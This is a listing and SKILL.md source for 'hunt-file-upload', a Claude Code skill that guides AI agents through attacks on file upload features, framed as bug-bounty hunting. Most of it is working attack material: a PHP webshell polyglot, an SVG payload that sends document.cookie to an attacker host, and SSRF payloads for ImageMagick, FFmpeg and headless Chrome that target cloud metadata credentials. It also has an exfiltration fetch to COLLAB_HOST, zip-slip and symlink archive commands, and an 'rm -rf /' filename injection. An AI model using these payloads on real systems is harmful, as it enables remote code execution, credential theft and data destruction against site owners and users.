hunt-file-upload — Claude Code skill: file upload vulnerability hunting
hunt-file-upload — a skill for hunting file upload vulnerabilities: RCE via webshell, XSS via SVG, SSRF via XXE in DOCX, extension filter bypass.
MIT ★ 16,193 updated 2026-10-29
/plugin marketplace add elementalsouls/Claude-BugHunter
/plugin install claude-bughunter@elementalsoulsWhat hunt-file-upload does
The skill provides bypass tables for upload filters (10 techniques): double extension (shell.php.jpg), magic bytes spoofing (PNG header on a PHP file), null byte (shell.php%00.jpg), case variation (.Php, .pHP), .htaccess upload to enable execution, SVG with <script>, XXE in DOCX, ZIP slip (../../../etc/passwd in archive), polyglot files. Detects endpoints with /upload, /avatar, /attachment, /import.
Uploads PHP/JSP/ASPX shells, requests direct URLs, validates code execution (whoami output for RCE, reflected XSS in avatar URL). Includes ImageMagick exploitation (SSRF via MVG/SVG), FFmpeg (SSRF via HLS playlist), headless Chrome (SSRF via CSS @import, reading /etc/passwd via iframe), archive extraction attacks (Zip Slip, symlink). Examples drawn from paid HackerOne reports.
What it helps with
- find RCE by uploading a PHP shell with extension filter bypass
- test for XSS via SVG with embedded
<script>alert(document.domain)</script> - exploit SSRF in ImageMagick through an MVG file with
url(http://169.254.169.254/...) - conduct a ZIP slip attack using an archive with
../../../var/www/html/shell.php - check for XXE in DOCX upload with an external DTD entity
Example prompts for the agent
- Check
/api/uploadfor filter bypass: uploadshell.php.jpgwith PNG magic bytes and verify execution - Upload an SVG with
<script>fetch('//attacker/?'+document.cookie)</script>to/profile-pictureand test for XSS - Test
/importfor ZIP slip: craft an archive with../../../etc/passwdusingevilarc.py
How to install hunt-file-upload
1Plugin marketplace
/plugin marketplace add elementalsouls/Claude-BugHunter/plugin install claude-bughunter@elementalsoulsThis installs the whole claude-bughunter plugin with all its skills
2Skills CLI (Vercel)
npx skills add elementalsouls/Claude-BugHunter --skill hunt-file-upload -a claude-code3Manually: put the files in place
~/.claude/skills/hunt-file-upload/SKILL.mdCopy the whole skill folder; for one project use .claude/skills/hunt-file-upload/
1Skills CLI (Vercel)
npx skills add elementalsouls/Claude-BugHunter --skill hunt-file-upload -a codex2Manually: put the files in place
.agents/skills/hunt-file-upload/SKILL.mdFor all projects use ~/.agents/skills/
1Skills CLI (Vercel)
npx skills add elementalsouls/Claude-BugHunter --skill hunt-file-upload -a cursor2Manually: put the files in place
.cursor/skills/hunt-file-upload/SKILL.mdCursor also reads .agents/skills/ and .claude/skills/
1GitHub CLI
gh skill install elementalsouls/Claude-BugHunter skills/hunt-file-upload2Manually: put the files in place
.github/skills/hunt-file-upload/SKILL.md1Skills CLI (Vercel)
npx skills add elementalsouls/Claude-BugHunter --skill hunt-file-upload -a gemini-cli2Platform CLI
gemini skills install https://github.com/elementalsouls/Claude-BugHunter --path skills/hunt-file-uploadManually: put the files in place
.devin/skills/hunt-file-upload/SKILL.mdThe legacy .windsurf/skills/ path still works
Claude.ai
Zip the folder and upload it in Settings → Capabilities → Skills
Step by step, with commands for each platform: How to install skills in Claude Code: five ways
Questions about hunt-file-upload
How to install hunt-file-upload in Claude Code?
Run /plugin marketplace add elementalsouls/Claude-BugHunter, then /plugin install claude-bughunter@elementalsouls, followed by npx skills add elementalsouls/Claude-BugHunter --skill hunt-file-upload -a claude-code.
What does hunt-file-upload do?
The skill hunts for file upload vulnerabilities: RCE via webshell with filter bypass, XSS via SVG, SSRF via XXE in DOCX and ImageMagick, path traversal via ZIP slip. It includes 10 bypass techniques (double extension, null byte, magic bytes, polyglot) and exploitation examples for FFmpeg and headless Chrome.
Which bypass techniques are included in hunt-file-upload?
The skill covers 10 techniques: double extension (shell.php.jpg), null byte (shell.php%00.jpg), case variation (.Php, .pHP), MIME type spoofing, magic bytes prefix (GIF89a; before PHP), polyglot (valid as both JPEG and PHP), SVG with JavaScript, XXE in DOCX, ZIP slip, filename injection.
Source text
SKILL.md · MIT
---
name: hunt-file-upload
description: "Hunt file upload bugs — RCE via webshell, XSS via SVG/HTML, SSRF via XXE in DOCX, path traversal via filename. Bypass tables (10 techniques): double extension (shell.php.jpg if server checks last ext only), magic bytes spoofing (PNG header on PHP), null byte (shell.php\0.jpg), case (PHP, .Php, .pHP), .htaccess upload to enable execution, SVG with <script>, HTML/SVG XSS, DOCX with embedded XXE, ZIP slip (../../../etc/passwd in archive), polyglot files. Detection: any /upload, /avatar, /profile-picture, /attachment, /import endpoint. Test: upload PHP/JSP/ASPX shells, request via direct URL, check response. Validate: actual code execution (whoami output) for RCE; reflected XSS in profile-photo URL. Use when testing file upload features, avatar/attachment endpoints, import/export functions, XML/DOCX/ZIP processors. Real paid examples."
sources: hackerone_public, cve_database, owasp, public_research
report_count: 5
---
## 9. FILE UPLOAD
### Content-Type Bypass
```
filename=shell.php, Content-Type: image/jpeg → server trusts Content-Type
filename=shell.phtml, shell.pHp, shell.php5 → extension variants
```
### File Upload Bypass Techniques (10 techniques)
| Attack | How | Prevention |
|---|---|---|
| Extension bypass | `shell.php.jpg`, `shell.pHp`, `shell.php5` | Allowlist + extract final extension |
| Null byte | `shell.php%00.jpg` | Sanitize null bytes |
| Double extension | `shell.jpg.php` | Only allow single extension |
| MIME spoof | Content-Type: image/jpeg with .php body | Validate magic bytes, not MIME header |
| Magic bytes prefix | Prepend `GIF89a;` to PHP code | Parse whole file, not just header |
| Polyglot | Valid as JPEG and PHP | Process as image lib, reject if invalid |
| SVG JavaScript | `<svg onload="...">` | Sanitize SVG or disallow entirely |
| XXE in DOCX | Malicious XML in Office ZIP | Disable external entities |
| ZIP slip | `../../../etc/passwd` in archive | Validate extracted paths |
| Filename injection | `; rm -rf /` in filename | Sanitize + use UUID names |
### Magic Bytes Reference
| Type | Hex |
|---|---|
| JPEG | `FF D8 FF` |
| PNG | `89 50 4E 47 0D 0A 1A 0A` |
| GIF | `47 49 46 38` |
| PDF | `25 50 44 46` |
| ZIP/DOCX/XLSX | `50 4B 03 04` |
### Stored XSS via SVG
```xml
<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg">
<script>alert(document.domain)</script>
</svg>
```
---
## ImageMagick / FFmpeg Exploitation
### ImageMagick SSRF / File Read (ImageTragick family + modern variants)
```bash
# Upload this as a .mvg or rename to .jpg/.png (magic bytes bypass)
# MVG SSRF payload — fetches internal URL during processing
cat > /tmp/ssrf.mvg << 'EOF'
push graphic-context
viewbox 0 0 640 480
fill 'url(http://169.254.169.254/latest/meta-data/iam/security-credentials/)'
pop graphic-context
EOF
# SVG SSRF (ImageMagick processes SVG remotely)
cat > /tmp/ssrf.svg << 'EOF'
<?xml version="1.0"?>
<!DOCTYPE test [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<image xlink:href="http://COLLAB_HOST/imagemagick-ssrf" width="200" height="200"/>
</svg>
EOF
# WebP/AVIF processing bugs (modern surface — CVE-2023-4863)
# Upload a crafted WebP file targeting libwebp heap overflow
# Use: https://github.com/mistymntncop/CVE-2023-4863 PoC
```
### FFmpeg SSRF via HLS Playlist
```bash
# FFmpeg processes m3u8 playlists and fetches referenced segments
cat > /tmp/ssrf.m3u8 << 'EOF'
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
http://169.254.169.254/latest/meta-data/iam/security-credentials/
#EXT-X-ENDLIST
EOF
# Also works with concat demuxer
cat > /tmp/concat.txt << 'EOF'
ffconcat version 1.0
file 'http://COLLAB_HOST/ffmpeg-ssrf'
EOF
# Test: upload .m3u8 or video file to any video processing endpoint
```
---
## Headless Chrome / PDF Generator SSRF
### HTML → PDF Converter Attacks
```bash
# Target: invoice generators, report exporters, screenshot services
# Inject HTML that causes headless Chrome to fetch internal resources
# SSRF via CSS import
PAYLOAD='<html><head><style>@import url("http://169.254.169.254/latest/meta-data/");</style></head><body>test</body></html>'
# SSRF via HTML iframe
PAYLOAD='<html><body><iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/" width="1000" height="1000"></iframe></body></html>'
# Local file read
PAYLOAD='<html><body><iframe src="file:///etc/passwd" width="1000" height="1000"></iframe></body></html>'
# JavaScript execution (if sandbox not enforced)
PAYLOAD='<html><body><script>
fetch("http://COLLAB_HOST/chrome-rce?d=" + encodeURIComponent(document.documentElement.innerHTML));
</script></body></html>'
# Test: submit HTML to any /generate-pdf, /export, /screenshot, /report endpoint
curl -s -X POST "https://$TARGET/api/generate-pdf" \
-H "Content-Type: application/json" \
-d "{\"html\": \"$PAYLOAD\"}"
```
---
## Archive Extraction Attacks (Zip Slip / Symlink)
```bash
# Zip Slip — path traversal via archive filenames
pip3 install evilarc
python3 evilarc.py shell.php -o unix -p "../../../var/www/html/" -d 5 -f /tmp/zipslip.zip
# Symlink attack — archive contains symlink to sensitive file
mkdir -p /tmp/sym_attack
ln -s /etc/passwd /tmp/sym_attack/innocent.txt
zip -ry /tmp/symlink.zip /tmp/sym_attack/
# TAR symlink attack
tar --create --file=/tmp/symlink.tar --dereference /tmp/sym_attack/
# Test: upload to any /import, /extract, /unzip endpoint
curl -s -X POST "https://$TARGET/api/import" \
-F "file=@/tmp/zipslip.zip"
```
---
## Related Skills & Chains
- **`hunt-rce`** — File upload is the most common path to RCE on classic PHP/JSP/ASPX stacks once you find a directly-served upload directory or a deserializer-fed processor. Chain primitive: polyglot `GIF89a;<?php system($_GET['c']);?>` bypasses magic-byte check + `.phtml` extension bypasses allowlist → `GET /uploads/shell.phtml?c=id` → RCE; or PHP `phar://` upload to a sink calling `file_exists()` on the attacker-controlled path → PHP object deserialization → RCE.
- **`hunt-xxe`** — Office formats (DOCX/XLSX/PPTX), SVGs, and SOAP attachments are XML inside a ZIP — every upload-and-parse feature is a latent XXE candidate. Chain primitive: upload DOCX whose `[Content_Types].xml` or `word/document.xml` includes a parameter-entity DTD pointing at attacker-controlled DTD → blind XXE OOB file read → exfil `/etc/passwd` or `web.config` via the document parser.
- **`hunt-xss`** — SVGs, HTML files, and PDFs uploaded then served on the same origin are stored-XSS factories. Chain primitive: upload SVG with `<script>fetch('//attacker/?'+document.cookie)</script>` → victim views attachment at `app.target.com/uploads/x.svg` (same origin, not sandboxed) → cookie theft → ATO via session hijack.
- **`hunt-ssrf`** — Image-processing libraries (ImageMagick, ffmpeg) fetch remote URLs from inside the uploaded file. Chain primitive: upload an SVG/MVG with `<image xlink:href="http://169.254.169.254/latest/meta-data/iam/security-credentials/">` or ffmpeg `concat:http://internal/...` → SSRF to AWS IMDS → cloud creds; the ImageTragick CVE-2016-3714 family is still alive on legacy farms.
- **`security-arsenal`** — Reach for the file-upload bypass tree: 10-row extension/MIME/magic-byte bypass table (double-ext, null-byte, case variants, `.phtml`/`.phar`/`.php5`/`.pht`, `.htaccess` upload to re-enable handlers, `web.config` upload on IIS), SVG/MVG/SVGZ payloads, DOCX-XXE templates, ZIP-slip path traversal in archives, polyglot generators.
- **`triage-validation`** — Apply the Reproducibility Gate. A file successfully uploaded but never served, never executed, never parsed by anything is not a finding — it's a write-only blob. Critical RCE requires the actual `whoami` round-trip from the uploaded shell; stored XSS requires the popup firing in a victim browser, not just the file existing on disk.
© Sachin Sharma · MIT · elementalsouls/Claude-BugHunter